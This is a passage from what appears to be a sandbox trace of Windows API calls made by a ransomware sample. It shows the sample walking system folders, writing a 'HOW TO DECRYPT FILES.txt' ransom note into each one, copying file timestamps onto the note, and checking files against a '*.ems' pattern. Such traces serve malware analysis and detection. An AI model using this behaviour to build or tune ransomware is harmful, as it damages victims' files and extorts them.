(hObject=0x90) returned 1 [0112.817] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\", lpString2="System.Web.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\System.Web.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\System.Web.ni.dll" [0112.817] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\System.Web.ni.dll", pszSpec="*.ems") returned 0 [0112.817] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e6188b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa4e6188b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa4fde64e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xe8b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.818] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ea5a0e7af3956d40caeffaab3bb8b753", cAlternateFileName="EA5A0E~1")) returned 0 [0112.818] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.818] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Abstract#", cAlternateFileName="SYSTEM~1.ABS")) returned 1 [0112.818] lstrcmpA (lpString1=".", lpString2="System.Web.Abstract#") returned -1 [0112.818] lstrcmpA (lpString1="..", lpString2="System.Web.Abstract#") returned -1 [0112.818] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.818] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web.Abstract#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#" [0112.818] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.818] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.818] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.818] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.818] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e66285eb011e4864314f3e4e4d6d8e40", cAlternateFileName="E66285~1")) returned 1 [0112.819] lstrcmpA (lpString1=".", lpString2="e66285eb011e4864314f3e4e4d6d8e40") returned -1 [0112.819] lstrcmpA (lpString1="..", lpString2="e66285eb011e4864314f3e4e4d6d8e40") returned -1 [0112.819] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\*.*") returned="*.*" [0112.819] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\", lpString2="e66285eb011e4864314f3e4e4d6d8e40" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40" [0112.819] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.820] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.820] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.820] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.820] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.820] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b209147, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b209147, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b209147, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.820] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.820] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0112.820] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0112.820] lstrcmpiA (lpString1="", lpString2="System.Web.Abstractions.ni.dll") returned -1 [0112.820] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\*.*") returned="*.*" [0112.820] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\" [0112.821] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\") returned="" [0112.821] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\HOW TO DECRYPT FILES.txt" [0112.821] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\how to decrypt files.txt")) returned 0xffffffff [0112.821] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.823] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.823] CloseHandle (hObject=0x90) returned 1 [0112.823] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\", lpString2="System.Web.Abstractions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\System.Web.Abstractions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\System.Web.Abstractions.ni.dll" [0112.823] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\System.Web.Abstractions.ni.dll", pszSpec="*.ems") returned 0 [0112.824] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b209147, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b209147, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b209147, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Abstractions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.824] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.824] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1b255408, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1b255408, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e66285eb011e4864314f3e4e4d6d8e40", cAlternateFileName="E66285~1")) returned 0 [0112.824] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.824] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24cc2864, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24cc2864, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.DynamicD#", cAlternateFileName="SYSTEM~1.DYN")) returned 1 [0112.824] lstrcmpA (lpString1=".", lpString2="System.Web.DynamicD#") returned -1 [0112.824] lstrcmpA (lpString1="..", lpString2="System.Web.DynamicD#") returned -1 [0112.824] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.824] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web.DynamicD#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#" [0112.824] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24cc2864, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24cc2864, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.825] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.825] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24cc2864, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24cc2864, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.825] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.825] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.825] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24cc2864, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24cc2864, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24cc2864, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="98acb62493655ab4e5cad815e8df664d", cAlternateFileName="98ACB6~1")) returned 1 [0112.825] lstrcmpA (lpString1=".", lpString2="98acb62493655ab4e5cad815e8df664d") returned -1 [0112.825] lstrcmpA (lpString1="..", lpString2="98acb62493655ab4e5cad815e8df664d") returned -1 [0112.825] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\*.*") returned="*.*" [0112.825] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\", lpString2="98acb62493655ab4e5cad815e8df664d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d" [0112.825] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24cc2864, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24cc2864, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24cc2864, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.825] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.825] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24cc2864, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24cc2864, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24cc2864, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.825] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.826] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.826] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c50443, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24c50443, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24c50443, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.826] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.826] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0112.826] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0112.826] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0112.826] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\*.*") returned="*.*" [0112.826] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\" [0112.826] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\") returned="" [0112.826] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\HOW TO DECRYPT FILES.txt" [0112.826] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.dynamicd#\\98acb62493655ab4e5cad815e8df664d\\how to decrypt files.txt")) returned 0xffffffff [0112.826] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.dynamicd#\\98acb62493655ab4e5cad815e8df664d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.830] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.830] CloseHandle (hObject=0x90) returned 1 [0112.830] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\", lpString2="System.Web.DynamicData.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\System.Web.DynamicData.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\System.Web.DynamicData.Design.ni.dll" [0112.830] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.831] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c50443, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x24c50443, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x24c50443, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.831] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.831] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2493075d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2493075d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bef47cfaf8928e35b99d8deb0eeb6b08", cAlternateFileName="BEF47C~1")) returned 1 [0112.831] lstrcmpA (lpString1=".", lpString2="bef47cfaf8928e35b99d8deb0eeb6b08") returned -1 [0112.831] lstrcmpA (lpString1="..", lpString2="bef47cfaf8928e35b99d8deb0eeb6b08") returned -1 [0112.831] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\*.*") returned="*.*" [0112.831] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\", lpString2="bef47cfaf8928e35b99d8deb0eeb6b08" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08" [0112.831] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2493075d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2493075d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.831] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.832] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2493075d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2493075d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.833] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.833] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.833] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248be33d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x248be33d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x248be33d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xb8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.833] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.833] lstrcmpiA (lpString1="ÊÀÊ 